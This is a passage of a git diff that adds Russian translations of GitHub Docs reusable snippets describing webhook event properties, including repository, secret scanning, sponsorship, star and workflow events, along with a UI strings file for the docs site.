    • diff --git a/translations/ru-RU/data/reusables/webhooks/repo_desc.md b/translations/ru-RU/data/reusables/webhooks/repo_desc.md new file mode 100644 index 000000000000..7c76a54ed9f0 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/repo_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b3d6ea0f10885f61488f9cc6bd7b4d4ac13bd7b0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145070209" +--- +`repository` | `object` | [`repository`](/rest/reference/repos#get-a-repository), где произошло событие. diff --git a/translations/ru-RU/data/reusables/webhooks/repo_desc_graphql.md b/translations/ru-RU/data/reusables/webhooks/repo_desc_graphql.md new file mode 100644 index 000000000000..93414e64570d --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/repo_desc_graphql.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e9550b2e0576dce60a45898075868107256adc03 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147081099" +--- +`repository` | `object` | [`repository`](/graphql/reference/objects#repository), где произошло событие. diff --git a/translations/ru-RU/data/reusables/webhooks/repository_import_properties.md b/translations/ru-RU/data/reusables/webhooks/repository_import_properties.md new file mode 100644 index 000000000000..9926dc155791 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/repository_import_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: a6c7bccb7d1ef66b02e06b76aa0dcf9b763fda14 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070192" +--- +Ключ | Тип | Описание +----|------|------------- +`status` |`string` | Конечное состояние импорта. Может быть `success`, `cancelled` или `failure`. diff --git a/translations/ru-RU/data/reusables/webhooks/repository_import_short_desc.md b/translations/ru-RU/data/reusables/webhooks/repository_import_short_desc.md new file mode 100644 index 000000000000..fdc1b9364f68 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/repository_import_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 392996d5748ad5dadb04e4cd7466be5ede8edaf7 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145165096" +--- +Действия, связанные с импортом репозитория на GitHub. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе о REST API [импорта источников](/rest/reference/migrations#source-imports). diff --git a/translations/ru-RU/data/reusables/webhooks/repository_short_desc.md b/translations/ru-RU/data/reusables/webhooks/repository_short_desc.md new file mode 100644 index 000000000000..d72a822bd3ae --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/repository_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7bb9ad119446040e0fe364b3d654442c7ccbcefc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070189" +--- +Действие, связанное с репозиторием. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе о REST API [репозиториев](/rest/reference/repos). diff --git a/translations/ru-RU/data/reusables/webhooks/repository_vulnerability_alert_properties.md b/translations/ru-RU/data/reusables/webhooks/repository_vulnerability_alert_properties.md new file mode 100644 index 000000000000..6d780bc56937 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/repository_vulnerability_alert_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 0d7eafc29b8b96046c2b285e5930cac7057e4a3b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145070188" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | Действие, которое было выполнено. Можно выбрать `create`, `dismiss` или `resolve`. +`alert` |`object` | Оповещение системы безопасности об уязвимой зависимости. diff --git a/translations/ru-RU/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md b/translations/ru-RU/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md new file mode 100644 index 000000000000..bb536889e467 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: fdc11db39e12b3a514be44f99df942ad34a3eeec +ms.sourcegitcommit: e8df903f8f79fab07197d39685782476c3d272b8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/06/2022 +ms.locfileid: "148010581" +--- +{% warning %} + +Примечание о прекращении **поддержки**. Описанные `repository_vulnerability_alert` ниже события веб-перехватчика устарели и описаны здесь только для справки. Используйте [`dependabot_alert`](#dependabot_alert) в качестве альтернативы. + +{% endwarning %} + +Действия, связанные с оповещениями об уязвимостях системы безопасности в репозитории. {% data reusables.webhooks.action_type_desc %} Дополнительную информацию см. в разделе [Сведения о {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/). diff --git a/translations/ru-RU/data/reusables/webhooks/secret.md b/translations/ru-RU/data/reusables/webhooks/secret.md new file mode 100644 index 000000000000..a31c31047ded --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/secret.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3dcfb143f7ac70db7c1a197304c83a5b75642749 +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878530" +--- +Настройка секрета веб-перехватчика позволяет гарантировать, что запросы `POST`, отправленные на URL-адрес полезных данных, поступают из {% data variables.product.product_name %}. При установке секрета вы будете получать {% ifversion fpt or ghes or ghec %}заголовки `X-Hub-Signature` и `X-Hub-Signature-256`{% elsif ghae %}заголовок`X-Hub-Signature-256`{% endif %} в запросе `POST` веб-перехватчика. Дополнительные сведения об использовании секрета с заголовком сигнатуры для защиты полезных данных веб-перехватчика см. в разделе [Защита веб-перехватчиков](/webhooks/securing/). diff --git a/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_event_properties.md b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_event_properties.md new file mode 100644 index 000000000000..cd8b3027ae62 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_event_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: b4782fb446da93dcb93f95c2efc7ee92f36acc70 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145070184" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | Действие, которое было выполнено. Это может быть либо `created`, `resolved`, либо `reopened`. +`alert` |`object` | Оповещение о проверке секретов, связанное с событием. diff --git a/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_event_short_desc.md b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_event_short_desc.md new file mode 100644 index 000000000000..7c91e75bd6b6 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_event_short_desc.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c06b8f82e2a170dac0b16f4dd6de2105ebd9c082 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145070181" +--- +Действия, связанные с оповещениями проверки кода в репозитории. Тип действия указывается в свойстве действия объекта полезных данных. Дополнительные сведения см. в разделе [об API проверки секретов](/rest/secret-scanning). + diff --git a/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_location_event_properties.md b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_location_event_properties.md new file mode 100644 index 000000000000..3a1a01c67322 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_location_event_properties.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: db7736a3360eff9a995e2c6ebcf159229af2151e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145070180" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | Действие, которое было выполнено. В настоящее время может иметь только значение `created`. +`location` |`object` | Расположение, связанное с событием. +`alert` |`object` | Оповещение [`secret scanning alert`](/rest/reference/secret-scanning#get-a-secret-scanning-alert), связанное с событием. diff --git a/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_location_event_short_desc.md b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_location_event_short_desc.md new file mode 100644 index 000000000000..d126db230ab3 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/secret_scanning_alert_location_event_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8683a2b7ac096bb499b75eef5e9cd372f1b2f66e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145165385" +--- +Действия, связанные с расположениями оповещений сканирования секретов в репозитории. Тип действия указывается в свойстве действия объекта полезных данных. Дополнительные сведения см. в статье о REST API [сканирования секретов](/rest/reference/secret-scanning). diff --git a/translations/ru-RU/data/reusables/webhooks/sender_desc.md b/translations/ru-RU/data/reusables/webhooks/sender_desc.md new file mode 100644 index 000000000000..d9d778510460 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/sender_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b491d30ee072c126d5ca5c541f0ac62c6169d75a +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878365" +--- +`sender` | `object` | Пользователь, который запустил событие. diff --git a/translations/ru-RU/data/reusables/webhooks/sponsorship_event_api_properties.md b/translations/ru-RU/data/reusables/webhooks/sponsorship_event_api_properties.md new file mode 100644 index 000000000000..6f5ebd1f852a --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/sponsorship_event_api_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 7ee9fbf44df569e9a5b3bf178e72e531d48b1533 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070160" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | Действие, которое было выполнено. Это может быть `created`. diff --git a/translations/ru-RU/data/reusables/webhooks/sponsorship_properties.md b/translations/ru-RU/data/reusables/webhooks/sponsorship_properties.md new file mode 100644 index 000000000000..5b68ff53cd0a --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/sponsorship_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 968dfe7ff0b233872e2085462d1bb1e661f37d31 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070157" +--- +`effective_date` | `string` | Типы событий `pending_cancellation` и `pending_tier_change` будут включать дату, когда отмена или изменение уровня вступают в силу. +`changes[tier][from]` | `object` | В события `tier_changed` и `pending_tier_change` включается исходный уровень, который был до изменения или смены состояния на "ожидающее изменение". Дополнительные сведения см. в разделе о [полезных данных, ожидающих изменения уровня](/webhooks/event-payloads#webhook-payload-example-when-someone-downgrades-a-sponsorship). +`changes[privacy_level][from]` | `string` | Типы событий `edited` включают сведения об изменении спонсорства для редактирования параметров конфиденциальности. diff --git a/translations/ru-RU/data/reusables/webhooks/sponsorship_short_desc.md b/translations/ru-RU/data/reusables/webhooks/sponsorship_short_desc.md new file mode 100644 index 000000000000..bf929c699319 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/sponsorship_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b50fde110003d33a0619024fe433cb54d61d5145 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145165380" +--- +Действия, связанные со списком спонсоров. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе [Сведения о спонсорах на GitHub](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). diff --git a/translations/ru-RU/data/reusables/webhooks/sponsorship_webhook_properties.md b/translations/ru-RU/data/reusables/webhooks/sponsorship_webhook_properties.md new file mode 100644 index 000000000000..4db7cdf4c30a --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/sponsorship_webhook_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 534ab2c710abccc1cefdaa782361ecc381d371ba +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070156" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | Действие, которое было выполнено. Можно выбрать `created`, `cancelled`, `edited`, `tier_changed`, `pending_cancellation` или `pending_tier_change`. Примечание. Действие `created` запускается только после обработки платежа. diff --git a/translations/ru-RU/data/reusables/webhooks/star_properties.md b/translations/ru-RU/data/reusables/webhooks/star_properties.md new file mode 100644 index 000000000000..099dd32e0fb8 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/star_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: ce614b2a117f04aa595dc1dd63e454a9efc70cc9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145070153" +--- +Ключ | Тип | Описание +----|------|------------ +`action` | `string` | выполненные операции; Может иметь значение `created` или `deleted`. +`starred_at` | `string` | Время создания звезды. {% data reusables.shortdesc.iso_8601 %} Имеет значение `null` для действия `deleted`. diff --git a/translations/ru-RU/data/reusables/webhooks/star_short_desc.md b/translations/ru-RU/data/reusables/webhooks/star_short_desc.md new file mode 100644 index 000000000000..5f6fdf0369bb --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/star_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8920937bc5f1548282d5ac23e6f5037d9a0324de +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878498" +--- +Действие, связанное с помечаемым звездочкой репозиторием. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе [Пометка звездочкой](/rest/reference/activity#starring) REST API. diff --git a/translations/ru-RU/data/reusables/webhooks/status_short_desc.md b/translations/ru-RU/data/reusables/webhooks/status_short_desc.md new file mode 100644 index 000000000000..3a9a7040b611 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/status_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fdb3ff4be5a09094e376d226d0592e77de23689a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070152" +--- +При изменении состояния фиксации в GIT. Дополнительные сведения см. в описании REST API [состояний](/rest/reference/commits#commit-statuses). diff --git a/translations/ru-RU/data/reusables/webhooks/team_add_short_desc.md b/translations/ru-RU/data/reusables/webhooks/team_add_short_desc.md new file mode 100644 index 000000000000..1e72be18c78b --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/team_add_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c48c9b32cb9ab53aef2f3a1886cf32b865a4f947 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878461" +--- +При [добавлении репозитория для команды](/rest/reference/teams#add-or-update-team-repository-permissions). diff --git a/translations/ru-RU/data/reusables/webhooks/team_short_desc.md b/translations/ru-RU/data/reusables/webhooks/team_short_desc.md new file mode 100644 index 000000000000..0ee1d386c909 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/team_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a7d94faf92918e516e86d4c2c316a698f0902c00 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878474" +--- +Действие, связанное с командой организации. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [команд](/rest/reference/teams). diff --git a/translations/ru-RU/data/reusables/webhooks/watch_properties.md b/translations/ru-RU/data/reusables/webhooks/watch_properties.md new file mode 100644 index 000000000000..ee831345fef5 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/watch_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 031bb9421eb23fd469fdaf85fa7d9a7a4d570424 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878469" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. В настоящее время может иметь только значение `started`. diff --git a/translations/ru-RU/data/reusables/webhooks/watch_short_desc.md b/translations/ru-RU/data/reusables/webhooks/watch_short_desc.md new file mode 100644 index 000000000000..2b56efdddff2 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/watch_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bcc5e343c4d8f19f508311f2e9843f932012df7e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145070132" +--- +Когда кто-то запускает репозиторий. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе [Пометка звездочкой](/rest/reference/activity#starring) REST API. diff --git a/translations/ru-RU/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/ru-RU/data/reusables/webhooks/webhooks-rest-api-links.md new file mode 100644 index 000000000000..d4c7ab450973 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/webhooks-rest-api-links.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 63effb67d8f26ba954127db629134b36b40d8552 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108968" +--- +ИНТЕРФЕЙСы REST API веб-перехватчика позволяют управлять репозиториями, организациями и веб-перехватчиками приложений. Этот API можно использовать для перечисления поставок веб-перехватчика для веб-перехватчика или получения и повторной доставки для веб-перехватчика, которая может быть интегрирована во внешнее приложение или службу. Для изменения конфигурации веб-перехватчика можно также использовать REST API. Например, можно изменить URL-адрес полезных данных, тип контента, проверку SSL и секрет. Дополнительные сведения см. в разделе: + +- [REST API веб-перехватчиков репозитория](/rest/reference/webhooks#repository-webhooks) +- [REST API веб-перехватчиков организации](/rest/reference/orgs#webhooks) +- [REST API веб-перехватчиков {% data variables.product.prodname_github_app %}](/rest/reference/apps#webhooks) diff --git a/translations/ru-RU/data/reusables/webhooks/webhooks_intro.md b/translations/ru-RU/data/reusables/webhooks/webhooks_intro.md new file mode 100644 index 000000000000..a05f2ac45d42 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/webhooks_intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2a9bf94e5bb577180cb4abbc4c8ff2793702b837 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878482" +--- +При настройке веб-перехватчика можно использовать пользовательский интерфейс или API, чтобы выбрать, какие события будут отправлять полезные данные. Если подписаться только на определенные события, которые вы планируете обрабатывать, вы ограничите количество HTTP-запросов к серверу. Вы также можете подписаться на все текущие и будущие события. По умолчанию веб-перехватчики подписываются только на событие отправки. Список событий, на которые вы подписаны, можно изменить в любое время. diff --git a/translations/ru-RU/data/reusables/webhooks/webhooks_ssl.md b/translations/ru-RU/data/reusables/webhooks/webhooks_ssl.md new file mode 100644 index 000000000000..96405d9282c4 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/webhooks_ssl.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 45ee82afe4ef468356d2c480a424ebca686b788f +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878493" +--- +Если "URL-адрес полезных данных" является защищенным сайтом (HTTPS), можно настроить параметры проверки SSL. Если "URL-адрес полезных данных" не является защищенным (HTTP), GitHub не отображает этот параметр. По умолчанию GitHub проверяет SSL-сертификат веб-сайта при доставке полезных данных веб-перехватчика. Проверка SSL помогает обеспечить безопасную доставку полезных данных веб-перехватчиков в конечную точку URL-адреса. Вы можете отключить SSL, однако параметр **Включить проверку SSL** рекомендуется всегда устанавливать. diff --git a/translations/ru-RU/data/reusables/webhooks/workflow_desc.md b/translations/ru-RU/data/reusables/webhooks/workflow_desc.md new file mode 100644 index 000000000000..3b1904e7c60e --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/workflow_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 742389a0f0f8018feee31f675f69f01a8989c410 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878490" +--- +`workflow` | `object` | Рабочий процесс, который создал экземпляр рабочего процесса. diff --git a/translations/ru-RU/data/reusables/webhooks/workflow_job_properties.md b/translations/ru-RU/data/reusables/webhooks/workflow_job_properties.md new file mode 100644 index 000000000000..34e5f0f177d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/workflow_job_properties.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 1f368a08409f4b10daa8b9e45340886ba8d9a47d +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878506" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | выполненные операции; Возможные значения:
      • `queued` — было создано задание.
      • `in_progress` — задание начало обработку в средстве выполнения.
      • `completed` — `status` задания имеет значение `completed`.
      +`workflow_job`|`object`| Задание рабочего процесса. Многие ключи `workflow_job`, такие как `head_sha`, `conclusion` и `started_at`, аналогичны ключам в объекте [`check_run`](#check_run). +`workflow_job[status]`|`string`| текущее состояние задания; Возможные значения: `queued`, `in_progress` или `completed`. +`workflow_job[labels]`|`array`| Пользовательские метки для задания. Определяется [атрибутом`"runs-on"`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on) в YAML рабочего процесса. +`workflow_job[runner_id]`|`integer`| Идентификатор средства выполнения, выполняющего это задание. Может иметь значение `null` до тех пор, пока `workflow_job[status]` имеет значение`queued`. +`workflow_job[runner_name]`|`string`| Имя средства выполнения, выполняющего это задание. Может иметь значение `null` до тех пор, пока `workflow_job[status]` имеет значение`queued`. +`workflow_job[runner_group_id]`|`integer`| Идентификатор группы средства выполнения, выполняющего это задание. Может иметь значение `null` до тех пор, пока `workflow_job[status]` имеет значение`queued`. +`workflow_job[runner_group_name]`|`string`| Имя группы средства выполнения, выполняющего это задание. Может иметь значение `null` до тех пор, пока `workflow_job[status]` имеет значение`queued`. diff --git a/translations/ru-RU/data/reusables/webhooks/workflow_job_short_desc.md b/translations/ru-RU/data/reusables/webhooks/workflow_job_short_desc.md new file mode 100644 index 000000000000..5a33e5875863 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/workflow_job_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b2aeef8ebd8cb1334c8e3c1c117abac03b2e5b79 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070124" +--- +Задание рабочего процесса {% data variables.product.prodname_actions %} было поставлено в очередь, выполняется или завершено в репозитории. {% data reusables.webhooks.action_type_desc %} diff --git a/translations/ru-RU/data/reusables/webhooks/workflow_run_properties.md b/translations/ru-RU/data/reusables/webhooks/workflow_run_properties.md new file mode 100644 index 000000000000..551aedbd0a29 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/workflow_run_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: ef1965dfec0f00d60c0653d7b8bf1f799c0a08bd +ms.sourcegitcommit: f768d3fb6d31898dc524b5827bfed5679d202b3b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/06/2022 +ms.locfileid: "148010124" +--- +Клавиши | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Может быть одним из `requested`{% ifversion actions-workflow-run-in-progress %}, `in_progress`,{% endif %} или `completed`. +`workflow_run`| `object` | Выполнение рабочего процесса. Содержит такую информацию, как `artifacts_url`, `check_suite_id`, `conclusion`, `head_branch` и `head_sha`. diff --git a/translations/ru-RU/data/ui.yml b/translations/ru-RU/data/ui.yml new file mode 100644 index 000000000000..44d35021491a --- /dev/null +++ b/translations/ru-RU/data/ui.yml @@ -0,0 +1,235 @@ +meta: + default_description: "Начало работы, устранение неполадок и достижение максимальной эффективности с GitHub. Документация для новых пользователей, разработчиков, администраторов и всех продуктов GitHub." +header: + github_docs: Документация по GitHub + contact: Контакт + notices: + ghae_silent_launch: Выпуск GitHub AE сейчас ограничен. + release_candidate: + # The version name is rendered before the below text via includes/header-notification.html + ' GitHub AE сейчас доступна как релиз-кандидат. Дополнительные сведения см. на странице Сведения об обновлениях новых выпусков.' + localization_complete: + "Мы часто публикуем обновления нашей документации, поэтому перевод этой страницы может все еще выполняться. Актуальные сведения см. на странице Документация на английском языке." + early_access: 📣 Не публикуйте этот URL-адрес в открытом доступе. Эта страница содержит сведения о возможности в раннем доступе. + release_notes_use_latest: "Используйте последний выпуск для последних исправлений безопасности, производительности и ошибок." + # GHES release notes + ghes_release_notes_upgrade_patch_only: "📣 Это не последний выпуск исправлений Enterprise Server." + ghes_release_notes_upgrade_release_only: "📣 Это не последний выпуск Enterprise Server." + ghes_release_notes_upgrade_patch_and_release: "📣 Это не последний выпуск исправлений из этой серии выпусков и не последний выпуск Enterprise Server." + sign_up_cta: Регистрация +picker: + language_picker_default_text: Выбор языка + product_picker_default_text: Все продукты + version_picker_default_text: Выбор версии +release_notes: + banner_text: GitHub начал внедрять эти изменения для предприятий на +search: + need_help: Требуется помощь? + placeholder: Поиск документации по GitHub + loading: Загрузка + no_results: Результаты отсутствуют + search_results_for: Поиск результатов для + no_content: Нет содержимого + matches_displayed: Отображаемые соответствия + search_error: Произошла ошибка при попытке поиска. + description: "Введите термин, чтобы найти его в документации GitHub." + label: Поиск документации по GitHub + results_found: "Найдено результатов: {n} за {s} мс" + results_page: "Это страница {page} из {pages}." + nothing_found: Ничего не найдено 😿 +homepage: + explore_by_product: Изучение по продукту + version_picker: Версия + description: Справка по всему GitHub. +toc: + getting_started: Начало работы + popular: Популярное + guides: Руководства + whats_new: Новые возможности + videos: Видео + all_changelogs: Все записи журнала изменений +pages: + article_version: 'Версия статьи' + miniToc: В этой статье + contributor_callout: Эта статья написана и обновляется + all_enterprise_releases: Все выпуски Enterprise Server + about_versions: О версиях +errors: + oops: Ой! + something_went_wrong: "Похоже, что произошла ошибка." + we_track_errors: "Мы автоматически отслеживаем эти ошибки, но если проблема не исчезнет, свяжитесь с нами." + page_doesnt_exist: "Похоже, этой страницы не существует." +support: + still_need_help: Все еще нужна помощь? + contact_support: Обращение в службу поддержки + ask_community: Задайте вопрос в сообществе GitHub +survey: + able_to_find: Помогла ли вам документация? + yes: Yes + no: No + comment_yes_label: "Сообщите нам, что мы делаем правильно" + comment_no_label: "Сообщите нам, что можно улучшить" + optional: Необязательно + required: Обязательно + email_placeholder: email@example.com + email_label: "Если вы не против, чтобы мы связались с вами и задали дополнительные вопросы, введите свой адрес электронной почты" + email_validation: Введите действительный адрес электронной почты + send: Send + feedback: Спасибо! Мы получили ваш отзыв. + not_support: "Если вам нужен ответ, обратитесь в службу поддержки." + privacy_policy: Политика конфиденциальности +contribution_cta: + title: Помогите нам улучшить эту документацию! + body: Вся документация по GitHub имеет открытый код. Увидели что-то неправильное или непонятное? Отправьте запрос на 